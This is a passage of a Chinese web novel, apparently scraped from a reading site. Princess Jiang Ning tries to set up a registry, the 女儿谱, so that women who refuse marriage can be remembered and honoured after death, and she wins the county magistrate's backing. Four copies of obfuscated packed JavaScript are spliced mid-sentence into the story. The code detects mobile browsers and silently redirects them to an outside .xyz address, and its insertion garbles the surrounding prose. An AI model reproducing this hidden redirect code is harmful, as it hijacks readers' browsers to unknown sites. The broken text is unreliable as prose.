可是我那侄儿,就是坚持自己的想法不动摇。后来棉花收获了,刚好有一些外地客商来收购棉花,出的价格很高,王顺那一年赚的钱,是往年的六七倍。他这时候才解释说,他之所以改种棉花,也是考察了外地的市场,深思熟虑做出的决定,只是一下子解释不清楚。 他把收入的一半给了妻子和儿子,他妻儿欢天喜地的,说的全是好话,也不骂他了。 这些事情,其实跟嫁不嫁人有相通之处。你们眼下觉得嫁人是好事,不嫁人很丢脸,可从长远来看,谁说得清呢? 也许,书香她们不嫁人之后,反而能有一个比较好的结果,不如就顺其自然吧。” 王书香的父亲道:“这……嫁人的事情,跟您举的例子还是不一样的,嫁人可是大事……” 大叔公道:“哎,道理都是相通的嘛。你想想,要是你家书香嫁人了,夫家败了,她拖着一个穷丈夫、三个孩子回娘家啃老,你就能高兴了?” “这……您能不能盼着点好?难道我家书香就这般歹命,嫁出去就一定过得不好?” “我只是给你举个例子嘛,并不是盼着她过得不好。那我再做个假设,她嫁了个有心计、很会料理家业的富豪,家里可谓是钱上加钱,好上加好。可是这女婿太看重钱财,把书香的嫁妆也谋算了去,把你这个岳父的财产也设法占了去,还能不留下罪证,逍遥自在,而你就活活气死,这样你就高兴了?” “这……难道我的女婿就不能是个普通人吗?不这么极端行不行?您说的都是什么呀,要么就是一无是处,破产投奔岳父;要么就是为富不仁,谋夺岳父家产……去哪里找这么绝的人?” “这两种人不但有,而且很多。你要普通人是吧,那就举个普通人的例子:你的女婿娶了你女儿后,夫妻恩爱,没什么矛盾,只可惜家里穷了点。然后你女儿女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146977|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婿向你借钱做生意,你总不好意思不借。然后他们就赔本了……” “等等,为什么会赔本?” “你不是说想要个普通的女婿吗?普通人没什么大的本事,做生意就是容易赔本啊。” “哎呀,大叔公,你老糊涂了,说的都是些什么话!总之,无论您怎么说,我都不可能让我女儿不嫁人!只有那些奇丑无比、缺点很多的姑娘,才嫁不出去,我家书香可不一样!” 其他几位家长,也持相同意见。 大叔公又劝说了几句,见劝不通,也就算了,说道:“罢了,这姑娘嫁不嫁人,你们几家自己跟女儿再商量去吧。我一个外人,也不好管太多。不过呢,书香,巧儿,小萍,我也有话想跟你们三个说。” 三个姑娘恭敬道:“大叔公有什么话,尽管吩咐便是。” 大叔公道:“你们能鼓起勇气拒绝婚姻,我心里是很佩服你们的,并不会对你们持有偏见。不过,你们担心自己百年之后无人祭祀,我倒觉得也无需担心这个,毕竟人死了还有没有灵魂,这谁也说不准,我是觉得未必有。” 王书香为难道:“可是,我却觉得有……我们很希望能把名字记在族谱上,让后人祭祀……” 村长插嘴道:“我说句公道话。我虽然是个男人,但也知道女人成亲后会很辛苦。但是呢,大部分女人婚后虽然辛苦,也因此有了后代,根本不用担心死后无人祭祀的问题。你们三个,既想逃避婚后的辛苦,又想要有后人祭祀,总不能什么好处都让你们占了吧? 甘蔗没有两头甜。 要么,你们就乖乖嫁人,生几个儿女;要么,你们就把不成亲这事坚持到底,但也别指望着谁来祭祀你们,这不就行了吗?” 王萍母亲道:“村长,您这话可就不对了,怎么能让她们二选一呢?她们必须成亲,没得商量!” 王巧儿、王书香母亲也道:“没错,这事没得商量!” 三个女孩的神情渐渐绝望,觉得自己的心愿怕是要落空了。 姜柠见她们各有各的立场,而且寸步不让,估摸着今天应该吵不出什么结果了,便道:“关于族谱记名的事,衙门里也只能调解。既然大家都不肯让步,今天是不会有什么结果了,不如先散了吧,让本公主想想有什么两全其美的法子。 另外,这三位姑娘的父母,回去之后不得打骂、逼迫女儿,无论有什么矛盾,都可以慢慢聊。暴力只会带来冲突,焦虑只会引起反感,希望你们好好想想。若是本公主知道你们欺辱、逼迫女儿,致使她们无法生存,本公主便以虐待子女罪将你们抓起来。” 三对父母只得说道:“是,公主。” 王家村的人暂时都散了。 姜柠还觉得有些头疼,大概是刚才这些人太吵的缘故。 这会,她还觉得有一堆小人在她脑海里吵架,过了许久才平静下来。 她问余县丞:“余老,您怎么看?” 35. 反对(修) 余县丞道:“这种事属于民事纠纷,依我看,拖着便是。拖的时间长了,她们自己总能想到折中的法子。或是其中一方妥协,或是两边各退一步。今天她们已经在公堂上激烈地闹过一场,接下来一段时间应该会平静一些了。” “好吧。” 姜柠不知道这件事后续会如何发展,但她把这几个女孩的事记在了心上,想着能不能有个好法子帮帮她们。 晚上,她在夸夸群里说了这件事。 【只涨工资不长肉:这个简单,族谱单开一页。不对,单独给她们三个做一本族谱。】 【姜柠:只有三个人的族谱,还能叫族谱吗?】 【只涨工资不长肉:那就改个名字,叫做“三个女孩名字谱”。】 【姜柠:噗。】 【樱桃小完犊子:@只涨工资不长肉你是天才。】 【回笼教教主:还是个取名鬼才。】 【你已被群主移出群聊:以前怎么没发现你是个小机灵鬼@只涨工资不长肉】 【只涨工资不长肉:嘿嘿嘿】 【姜柠:那三个女孩想进族谱,是为了百年之后有人祭祀。单开一本族谱并不能满足她们的这个需求。】 【活人微死:祭祀有这么重要吗?】 【姜柠:对我们这个时代的人来说很重要,大部分人都是信灵魂的。】 【感觉尸体暖暖的:我有个主意,你单独弄一个族谱,里面只记载那些不愿成亲的女孩,未必要有血缘关系。凡是不打算成亲、又入不了娘家的族谱的女孩,都可以登记在你这个族谱里。然后,族谱里所有年纪小的女孩,都要给已故的年纪大的女孩祭祀。简单来讲,就是这本只有未婚女孩的族谱里,谁先死,活着的其他人就祭祀她。只要有源源不断的女孩加入这本族谱,前面加入的女孩就不愁没人祭祀,还可以一直传下去。】 【姜柠:你的意思我懂了,是个好主意。】 【感觉尸体暖暖的:为了防止这些女孩们反悔,你就规定,只有超过二十五岁的女孩,才能在这本族谱里记名,以防她们年轻时记了名,后来又后悔。十几岁的时候容易冲动决定不嫁人,但过几年可能又想嫁人了,那就很尴尬。过了二十五岁,应该比较成熟了,不论要不要成亲,都是深思熟虑的结果,不会反悔了。】 【姜柠:好,我记下了。】 【樱桃小完犊子:万一除了王家村那三个女孩外,没有其他女孩愿意加入这本族谱怎么办?毕竟在姜柠那个时代,提出不成亲需要莫大的勇气,几乎是在跟全世界作斗争。】 【感觉尸体暖暖的:总会有那么一些的,不可能完全后继无人。】 【姜柠:嗯,我觉得应该会不停地有人加入的,只不过数量肯定不多。那这本族谱,不适合叫族谱了,不如叫“女儿谱”吧。《女儿谱》,保存在衙门里,这样不会损坏,也不会遗失。凡是有女孩想加入这个《女儿谱》的,光明正大来县衙登记就行,也方便了她们。】 【你已被群主移出群聊:这个名字取得不错,支持姜柠!】 【有趣的灵魂一百多斤:接下来就看姜柠的成果了!】 【姜柠:我还有一个担忧。养老、祭祀这种事,亲生儿子都未必靠谱,依靠其他没有血缘关系的女孩来祭祀,会不会不可靠?年轻的未婚女孩为何要给年长的女孩祭祀呢?万一她们不愿祭祀,却对外说一直在祭祀已故的姑娘怎么办?这完全靠人品和责任心。】 【感觉尸体暖暖的:我觉得可以让官府定期抽查,如果年轻女孩真的不祭祀已故的女孩,就罚款,罚很多,罚到让她们害怕并长记性为止。并且规定,如果不履行祭祀先人的义务,就抓她们回去嫁人。】 【活人微死:我靠,嫁人这招太狠了。】 【樱桃小完犊子:你要是当官,绝对是酷吏啊@感觉尸体暖暖的】 【有趣的灵魂一百多斤:姐妹,你真的绝了】 【感觉尸体暖暖的:哈哈哈哈】 【姜柠:目前看来,应该没什么问题了。我再整理一下,明天去跟官吏们商量。】 【回笼教教主:这么惊世骇俗的事情,真的会有人支持吗?尤其是衙门里都是男人的情况下。】 【姜柠:我不知道,先试试看吧。】 姜柠关闭了夸夸群,拿来纸笔,整理了一下自己的思路。 首先,是有一些不愿嫁人、也没法上族谱的女孩,有死后让人祭祀的需求。 所以,决定编一本《女儿谱》,这些女孩都可以记名上去,这本特殊的族谱也会一直流传后世,并保存在官府。 上《女儿谱》的条件: 第一,年满二十五岁,已经想清楚一辈子不嫁人了。 第二,已取得父母同意,父母和其他亲朋好友不会隔三差五来闹事。 第三,需要向官府缴纳一定的费用,因为她们脱离了宗族,以后能庇护她们的只有官府,所以官府的官吏也需要一些劳务费。 上了《女儿谱》后要履行的义务: 第一,后死者必须给先亡者养老、祭祀。如有不愿祭祀或是弄虚作假者,发还本家嫁人。 第二,加入之后要有正经营生,尽量多赚钱。这不仅是保证自己一辈子的日常开销,也要留一些钱给官府,还要时不时地给娘家一点钱,免得娘家人闹事。剩余的财产全部留给《女儿谱》上还活着的人,这样年轻女孩们也更有动力祭祀先亡者。 第三,《女儿谱》中的人不需要生活在一起,但必须每年举办几次聚会,熟悉一下组织里的所有成员。而且必须跟其中两三名成员相熟、住得近,能互相照应。 第四,加入《女儿谱》的成员也需要照顾父母,履行自己作为女儿的义务。 第五,设立一个公共账户,公中的钱用于整个组织的福利、救济等事宜,比如有的女孩生病了,暂时赚不了钱,就可以用公中的钱暂时生活下去。 第六,有余力的话,要多做一些对社会、对他人有益的事,减少社会对她们的偏见,让其他人明白,她们也是正常人,甚至比旁人更有爱心。这样,也能无形中减少一些阻碍。 第七,成员的私有财产可以任由自己支配 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146978|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但若是有人频频大额消费,超出自己的经济承受能力,其他成员有义务劝阻,免得她将私产花完后,损害公共利益。 加入《女儿谱》能获得的好处: 第一,可以不嫁人,并且组织内没人会催婚,大家都志同道合。 第二,可以过得更自由。 第三,通过完全的独立,让自己更快地成长。 第四,不用担心养老和祭祀问题。 姜柠想了想,又补充了一些细则,比如关于官府收取费用的规定,不能无限地收,也是要严格按照比例的;组织当中需要有几个为人公正的女孩作为监督者,维持组织的日常运转;等等。 写完之后,姜柠把这份文书命名为《关于女儿谱的初步构想》。 第二天,她把这份文书拿到公廨去,让官吏们共同讨论。 官吏们都很惊讶,有的神色犹豫,有的大惊失色,还有的露出一抹微笑,似乎觉得很有趣。 余县丞惊讶地对姜柠道:“公主,您……您怎么会搞出这种东西?” 姜柠问道:“怎么了?我觉得这个事情,也是能解决一部分女孩的需求的。” “这简直是逆天而行,闻所未闻啊!” “余老,您不支持我?” “这不是支持不支持的事……就这个事吧,几乎是不可能实现的。” “为什么?” “你这个《女儿谱》,是不是谁都可以加入,只要是不愿成亲的女孩都行?” “对。目前的想法是在本县试推行,等以后成熟了再向全国推广。” “还向全国推广……公主啊,这其中实在有太多的隐患了。” “怎么说?” “首先,您怎么能保证加入的女孩一定是好人呢?万一有几个心术不正的,把所有的女孩卖了,或是杀人夺财,怎么办?” “这……有官府的监管,应该没事吧?” “官府存在几千年了,恶性事件哪一年少了?官府人员有限,大事还管不过来,谁有空去管这种小事?” “那……要不这样,想加入的话,必须由三个以上的成员考察其品行,并加以举荐。” “好极了,这是缩小版的九品中正制。其弊端不用我多说了吧?” “……” 姜柠还真被辩倒了。 她想了想,说道:“要不这样,《女儿谱》每个村一本,只接收本村女孩加入,大家都知根知底的,可能还有亲戚关系,应该没问题了吧?” “想多了,村长和村民不会允许这种东西存在的。你今天把《女儿谱》放进村里,明天就能彻底消失,还找不到肇事者。再说了,一个村里面,哪找得到那么多不愿嫁人的女孩子?这《女儿谱》放到村里,形同虚设。” 其他小吏也纷纷劝道: “公主,这是不现实的。这些女孩若是在官府的支持下不嫁人,以后怎么生活?您真的以为只要精神够独立,就一定能赚到钱养活自己?很多家族产业破产的比比皆是,一个孤立无援的女孩,要如何保证自己的生存?” 36. 帮手(修) “对,而且官府支持她们的话,就得罪了她们的父母和宗族,以后很难管理百姓,这其中隐患多得很。” “一群女孩聚在一起,就是一群待宰的肥羊。到时候想来收割她们的势力只怕是五花八门。” “婚姻虽然是一种束缚,但也是一种保护。嫁了人至少受夫家庇护,附近的人都认识你,知道你是谁家的,发生恶性事件的概率会小一些。” “而且一个组织大了之后,总会分化出各种各样的人。也许有的女孩刚加入《女儿谱》时很单纯善良,只想得到庇护。但时间长了,可能会出现老人欺负新人的情况,或是收保护费,或是暗中使绊子。更有甚者,若是有几个女孩赚到很多钱,也许会引起其他人的眼红,设下阴谋,让那些有钱人意外死亡。到时候证据一销毁,根本无从查起。” “其实一切都因王家村的那三个女孩而起,公主要想帮助她们的话,让她们收养一两个侄子是最好的。这样既不用嫁人,也能有人祭祀,问题不就解决了吗?” 姜柠道:“可是,侄子花言巧语欺骗姑母,把钱骗完后根本不给姑母养老或是祭祀的事,也多得很。诸位说了这么多隐患,莫非这个《女儿谱》就没有可取之处吗?难道让所有的女孩都进入婚姻,她们就能安全、自由、富足吗?就不会有任何隐患了吗?成亲真的这么好的话,大家都应该抢着成亲才对啊。” 众人都无言以对。 一个小吏道:“公主,没有任何一种生活是完全安全可靠的,但婚姻制度经过了几千年的检验,至少是相对安全的。任何时候,逆流而上都不会有什么好结果。” 另一个小吏道:“其实,公主所构想的这种女孩组织已经有了,就是尼姑庵。谁不愿意嫁人,去出家不就好了。尼姑庵至少有成熟的管理制度,官府也会定期关注,平时庵堂里也经常会有香客过去,如果有什么异常也会第一时间被人发现。” 姜柠道:“难道不愿成亲的女孩,就必须去尼姑庵吗?” “去了尼姑庵,至少不需要父母、官府继续操心。尼姑庵里不也是一群女人互相照应吗?而且绝对没有人催婚。平时她们还能诵经祈福,也算是对社会有益。这几点,不都符合公主的构想吗?官府确实没有精力为了这些少数的女孩,再分出人力物力去管什么女儿谱的事。统一并入尼姑庵管理,省心省事,两全其美。” 姜柠:“也不是人人都想出家啊,她们只想过正常的日子。” “违背了主流的趋势,还想过正常的日子,这几乎是不可能的。” 姜柠觉得有些灰心。她本以为自己已经考虑得面面俱到了,没想到还是存在这么多阻碍。 这些官吏的言辞,有很多都是有一定道理的,确实存在着隐患。 难道,自己的这一计划,真的没法推行了吗? 余县丞道:“公主,其实完全不想成亲的是极少数人,您没必要为了这么点人,煞有介事地推出什么新政。人数太少,也实现不了您的想法。她们若是不想走主流的道路,自然会自己想办法成全自己,或是收养家中晚辈,或是遁入空门,或是离群索居,总有办法的。” 姜柠:“好吧,这个计划也只能暂时搁置了。” 她又处理了一会公务。今天不太忙碌,她就早早下值,回房间去了。 二皇子正在庭院中练功,见到姜柠,问好道:“皇姐今天这么早就回来了?” 姜柠:“是啊,今天也没什么大事。不过,我想出去逛逛,不知道可以吗?” 二皇子考虑了一下,道:“可以,不过得由我和侍卫们陪同,不知皇姐是否会觉得拘束?” “不会,你们也是为了我的安全,我不会拘束的。” 能出去逛逛,姜柠已经很高兴了。 而且,她从小就是官家千金,无论走到哪都有人跟着的,已经习惯了。 她回房拿了钱袋,带上小雪,便走了出来。 小雪喜欢在外面玩,冬香性格稳重些,就让她看屋子。 在二皇子和侍卫们的陪同下,一行人往郊外走。 二皇子道:“皇姐,这附近有座山,风景不错,而且不高,不如去爬爬?” 姜柠点头:“也好。” 她们走了半个时辰,便来到山脚下。 这会游人不多,二皇子走在前面,姜柠走在后面。侍卫们跟在姜柠身后,方便保护姜柠和二皇子。 这座山虽然不大,倒也清幽奇巧,绿意盎然。山道上落满了或红或白的花,大概是被雨水打落的。由于无人踩踏,这些花还保留着鲜艳的模样,倒也成为一景。 姜柠俯身拾起一片花瓣,置于手中,轻轻一吹,那花瓣就随风而去,飘到了半山腰的树林中。 二皇子道:“皇姐,你喜欢花的话,可以捡一些花瓣回去,粘贴在纸上或木板上,组成一幅画。这样,便可一直携带了。” 姜柠笑道:“好主意啊,你们帮我捡一些花瓣,要干净的、完整的、好看的。” 二皇子和侍卫们便帮忙捡花瓣,姜柠拿出一只空的布袋,让他们把花瓣全都放进去。 很快,布袋就装满了。 姜柠笑道:“够了,做花瓣画不需要太多花,我只要一半就好了。” 她把布袋里的花瓣取出一半来,用力掷向天空。 花瓣并未上升多高,很快就纷纷扬扬地落了下来,仿佛下了一场花瓣雨。 众人的头上、肩上,都落了一些花瓣。 侍卫们刚想掸去,姜柠笑道:“不用掸,这样就挺好的。咱们走吧。” 于是,二皇子和侍卫们都顶着一头的花瓣往上走。大家你看看我,我看看你,都有些忍俊不禁。 走到山顶,有一处观景台。 姜柠在观景台上瞭望片刻,只觉得神清气爽,天地开阔。相比之下,人很渺小,人所烦心的事似乎都没那么重要了。 再往前走几步,有一座小小的尼姑庵。 姜柠进去随便逛了逛。 见到佛像,她跪下默默祈求:“请求让我不要去北胤,不要遭受虐文女主的厄运,让我能扭转剧情,掌握自己的人生。” 祈求完毕,她想起了自己创建《女儿谱》的计划被搁置了,就继续祈求:“希望天下未婚的女孩都能找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146979|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到可以庇护自己之处,自由快乐,独立能挣钱,自食其力不成问题,不为外界所逼迫和歧视。” 旁边走过一个年长的尼姑,她见姜柠祈福时间较长,便问道:“这位施主,您心中可有什么疑难?如不介意,可以跟我聊聊。” 姜柠见这尼姑慈眉善目,且眼神中闪烁着智慧,便起了倾诉之心。 “大师,我心中确实有疑难,不知可否去客堂详聊?” “阿弥陀佛,自然可以,请施主随我来。” 姜柠跟着这位尼姑走,二皇子见了,走上前来,问道:“姐姐,您要去哪里?” 姜柠笑道:“我只是跟这位大师聊聊天,没什么事。你要是不放心,就守在客堂门口好了。” 二皇子点点头,也带着几个侍卫来到了客堂外面。 他们只是守在门口,并未进来。 二皇子虽然过于谨慎了,但姜柠也能理解他。姜柠可是和亲公主,身负着和亲、换回大皇子两件重任,出不得一点差错。 姜柠进了客堂,跟尼姑一起分宾主坐下。 姜柠问道:“不知大师如何称呼?” “贫尼是这庵堂的住持,静心。” 姜柠便把自己打算编一本《女儿谱》,却被否决的事说了。 不过,她没有表明自己的身份,只说自己是官员之女,想帮助那些不婚的女孩,所以想出了编写《女儿谱》的主意,希望做官的父亲能实行,但遭到父亲否决。 姜柠今天过来,排场这么大,还带着一群侍卫,一看就不是普通人。而且,如果不是官员之女,其实也不可能想到编什么《女儿谱》,因为普通人没这个权力。 因此,姜柠含糊地说自己是官员之女,倒是合适的。 静心听了关于《女儿谱》的构想后,倒是没有反对,反而有些欣慰地说道:“施主能如此为那些不婚的女孩考虑,可谓是慈悲为怀。不过,世人皆以婚姻为重,若那些女孩选择不婚,会面临很大的压力。” 姜柠道:“正是如此。父亲和家中长辈为我列举了此事的不可行之处。” 姜柠把众官吏反对的话都一一说出,然后问道:“大师,您看我是不是真的异想天开?” 静心师太道:“一件事情就算很难,但只要下定决心去做,总能找到解决的办法的。不知施主编写《女儿谱》,原先想推行的地方是哪里?” “就是这栾伊城。” 静心点头:“这里倒挺合适的。此处地处边陲,且人口不多,真要推行什么政策,也比较容易。如果失败了,影响也不大。施主是本地县令之女,还是上级官员之女?” 姜柠想在栾伊城推行新政,要么得是本地县官之女,要么得是本城上级官员之女,否则姜柠的父亲怎么有权力管栾伊城的事? 静心师太有此一问,倒也正常。 姜柠觉得,她若是说自己是本地县令之女,恐怕容易露馅,便说道:“我是上级官员之女。” “原来如此。如果施主信任贫尼的话,贫尼可助您一臂之力。” “您帮助我?您的意思是,让那些不婚的女孩出家?” 37. 县令(修) “当然不是。出家应该出于自愿,岂可勉强?贫尼的意思是,贫尼会看相,可以看出一个人是不是好人。您父亲不是担心,加入《女儿谱》的姑娘有可能是坏人,不能完全信任吗? 只需多找几个会看相的人,一致认定某人是个好人,就可以让她加入了。如果觉得光靠看相不够靠谱,还可以走访她的乡里,询问认识她的人,咨询其人品。这样考察下来没问题,自然就能加入。 至于一些来历不明、连亲朋好友都没有的姑娘,为了谨慎起见,就不让她加入了。” 姜柠点头道:“这倒是个办法……只是,会不会打扰大师您的清修?” “不妨事的,坚决不婚的女孩也不太多吧,可能几年也出不了一个。等有人坚决地要加入《女儿谱》,跟其他女孩一起抱团养老时,贫尼再出面看相,就可以了。至于走访乡里、考察品行的事,就由官府或是其他人员来做,贫尼也不费什么事。” “嗯。” 接着,静心师太又提出了解决其他问题的方案。 第一,若是女孩们赚不到钱,或是做生意亏本了之类的,可以来庵堂吃饭、住宿,做几天义工便可。这样,就算走投无路了,也有个地方能养活她们。 第二,官府若是怕宣传《女儿谱》会得罪大量百姓,可以不宣传,而是由加入《女儿谱》的人口口相传。如果以后有女孩不想嫁人,想找个组织庇护,只要有心,总能打听到《女儿谱》的事,不必担心。 第三,庵堂里的尼姑们会定期举办一些慈善活动,可以让那些不婚的女孩们加入,一起举办,为社会做点贡献。这样也能让大众看到她们的闪光点,不会再以成不成亲来评价她们的优劣。 第四,《女儿谱》的成员每年都在这个庵堂聚会一次,由静心师太组织她们的聚会,跟她们聊聊天,了解她们的现状和心性的变化,核算一下她们的财务有没有问题。 若发现任何异常,比如有些姑娘面相变坏了、言语变得自私算计了,或是财务状况不对,或是这群女孩们总是受欺负,静心师太会及时发现,汇总所有的问题,能当场解决的就当场解决,解决不了的就请官府出面。 第五,这个组织还是需要官府的庇护的,可以由全体成员共同出资,交给分管此事的官吏。官吏们若是太忙,可以在下值之后加班,处理这个组织的事情。加班的费用,就由这些女孩们交给官府的钱里出。 其实,这个组织的人数肯定不会太多,所以也不会有太多事麻烦官吏,应该比较好管理,可以试着推行。 听了静心师太的这些提议,姜柠茅塞顿开,道:“多谢大师帮忙!我回去跟长辈们商量一下,看行不行。” 姜柠马上下山,想去找官吏们商量。 不过,她回到县衙的时候,已经是下值时间了,很多小吏都回家了,余县丞倒是还在。 姜柠把静心师太所说的话都跟余县丞说了,道:“余县丞,若是按照静心师太的方案,这《女儿谱》能否推行了?” 余县丞沉思道:“静心师太倒是把很多阻碍都考虑到了,只是……属下还是觉得,做这件事没有必要。真正坚决地打算不成亲的女孩,恐怕整个栾伊城都找不到几个。为了这么几个人,大张旗鼓搞什么《女儿谱》,浪费人力物力……” 姜柠:“也不费什么事吧……您看,很多问题静心师太都能帮着解决……” “公主,这个事若要实行,那可要一直持续下去了。您过个十来天就走了,到时候官府里恐怕没有人愿意接手此事。依我看,您管管一些小事算了,像《女儿谱》这种事,就不要推行了。” “好吧。” 姜柠叹了一口气,只好放弃。 她本来就是暂居栾伊城,对县衙事务也只是代为管理。她表面上身份尊贵,实际上没什么权力。 而且余县丞说得很对,她再过几天就走了,这时候推行什么新政,时间太赶了,而且后继无人。 见姜柠失落的样子,余县丞道:“其实吧,您要是真想做这个事,不如去跟潘县令说,看他支不支持你。” “可是,县令不是在养病吗?” “没关系,已经没有之前那么严重了,可以见客。您若是想去,属下现在就带您过去。” “不需要提前递上拜帖吗?” “您的时间不多了,就不讲究这些虚礼了,走吧。” 姜柠心中又燃起了希望,跟着余县丞去拜访潘县令。 县令潘凤成住得离县衙不远,坐车两刻钟的时间便到了。 进了潘府之后,只见庭院中有一个六十多岁的老者在练习五禽戏。 这老者比较瘦,有几分文人的气质,但又比一般文人要威严一些。 余县丞叫道:“县令大人,我带公主来看您了。” 原来这老者便是县令,他赶紧起身,整理了一下衣服,道:“下官不知公主要来,未着官服,还请公主见谅。” 公主道:“无妨。” 潘县令赶紧把姜柠迎接到厅堂,让丫环上茶。 潘县令道:“近日公主替下官处理政务,听闻公主聪慧公允,明察秋毫,还能济物利人,实在是难得啊。公主若是男子,必为循吏。” 姜柠谦让道:“县令大人过誉了,我只不过是按旧例行事,一切都仰仗各位官吏的支持。” “不知公主今日造访,所为何事?” 姜柠便把《女儿谱》的事情说了,包括众人反对的理由、静心师太提出的解决方案等。 潘县令抚须道:“其实,也不是不行。这只是一件小事,若叫人去办,很快就能办成。只是,下官怕《女儿谱》招不到人。” 姜柠没想到潘县令比较支持,因此喜出望外,说道:“若有县尊大人的支持,此事确实不难办。至于很少有人敢加入《女儿谱》,我也想到了。反抗世俗需要莫大的勇气,只有极少数的人愿意这样做。如果自己缺乏足够的勇气,官府也没必要逼着人家不成亲。人少一点也好,方便管理。” 潘县令道:“嗯,也好。依我看,《女儿谱》刚推行的时候,人数不宜超过二十人。” “二十人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146980|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会不会过于少了?” “栾伊城人口不多,若能凑出二十个坚决不成亲的女孩,已经算多了。目前就定二十人吧,名额先到先得。另外,官府也别去宣传这件事。王家村不是有三个女孩不愿成亲吗?先跟她们说就好了。至于其他类似的女孩,她们若是有心,总能打听到的。余县丞,你找个靠谱的书吏,把这事办了吧。” 余县丞道:“也好。” 其实这事办起来并不复杂,很多规则、条例姜柠都已经拟好了。 官吏们要做的,就是把王家村那三个不愿成亲的女孩找来,告知《女儿谱》的事。 如果她们想找其他志同道合的伙伴,就让她们自己去找,官府不干预,不支持,也不反对。 找来的人,只要符合条件,就能加入。 因此,第二天,余县丞就派人把王巧儿、王书香、王萍三人叫来,说了《女儿谱》的事。 余县丞道:“《女儿谱》是公主试推行的政策,年满二十五才能加入。你们年龄未满,需要再等几年。等到你们超过二十五岁,如果还坚定地不想成亲,就可以把自己的名字登记上去。《女儿谱》的名额一共二十个,如果你们想增加几个伙伴,就自己想办法。” 王家村的三个姑娘,闻言又是惊喜,又是担忧。 王书香道:“我们才十七八岁,离二十五岁还有七八年的时间,会不会太久了?” 余县丞道:“如果你们连七八年都坚持不下来,说明你们不想成亲的心还不够坚定。” 王巧儿道:“这么多年的时间,我们的父母、亲戚可以有很多机会逼迫我们成亲,怎么办呢?” “若是他们真的做出很过分的事,你们可以来告官。另外,这些年你们可以不住在家里,而是外出工作,赚了钱分家人一部分,她们就不会反对得这么厉害了。” 王萍问道:“《女儿谱》名额有限,万一等我们二十五了,已经没有名额了怎么办?” “限额二十个只是现在的政策,也许过几年会增加名额。你们不放心的话,现在可以先预定名额,交一笔定金即可。如果后面你们又反悔了,想嫁人了,定金可以原数奉还。” “我们加入之后,就一定能享受到后人的祭祀吗?” “《女儿谱》自有规则,凡是加入的,就必须给先亡者祭祀。哪怕最终只有你们三个,你们总不可能同一天离世,后面离世的给前两个祭祀就行了。再往后的后继者,你们可以等待时机,也可以自己主动去找。依我看,你们应该不用找,总会不断地有新人加入的。” 三个女孩没有什么疑虑了,向官府众人道谢后就离去了。 虽然她们要等好几年才能加入《女儿谱》,但终究是个希望。官府虽然没有大张旗鼓地宣传《女儿谱》,但总算是给她们这种违背世俗常理的人暗中提供了保护。 因此,她们的心情是雀跃的。 王家村的三个女孩虽然年龄还不符合,但却有另外两个符合年龄的女孩从王巧儿三人那里听说了这件事,偷偷来官府,说要上《女儿谱》。 38. 儿子(修) 姜柠请了静心师太下山,帮忙看看这两个女孩的面相。静心师太说面相没问题,姜柠又派人走访这两个女孩的亲朋好友,旁人对这两个女孩的评价也都不错。 因此,准许她们加入。 现在,《女儿谱》上一共是两个人。 那两个女孩加入之后,非常开心,说要去赚更多钱,把这个组织维持下去。 她们眼里闪着希望的光,那是姜柠很少见到的目光。 系统出来了:“姜柠,你推行了《女儿谱》,获得3000积分。现在的积分是83200。” 姜柠用意念问道:“我做这个事真的有用吗?” “有用啊,那些不成亲的女孩,总是感受到社会的歧视、排挤和厌恶。《女儿谱》的存在,给了她们归属感、安全感。同时,她们也会知道自己不是一个人,这世上还有跟自己想法相同的人,自己不是怪物,不是坏人。不管自己的想法多么小众,总会有三五好友支持自己。这种感觉是很棒的。你的《女儿谱》,可以切切实实帮助到一些女孩。” 姜柠扬起了笑容:“嗯,那就好。” “姜柠,加油。离你去和亲还有十一天,如果你能在这段时间内再获得一万七千积分左右,就不用去北胤和亲了。你将成为有史以来第一个不用跟男主见面的虐文女主。” “听起来很棒,我会加油的。不过,我有一个疑问。” “什么疑问?” “为什么命运偏偏选中了我做虐文女主?为什么我不能是一些命运比较好的女主呢?” 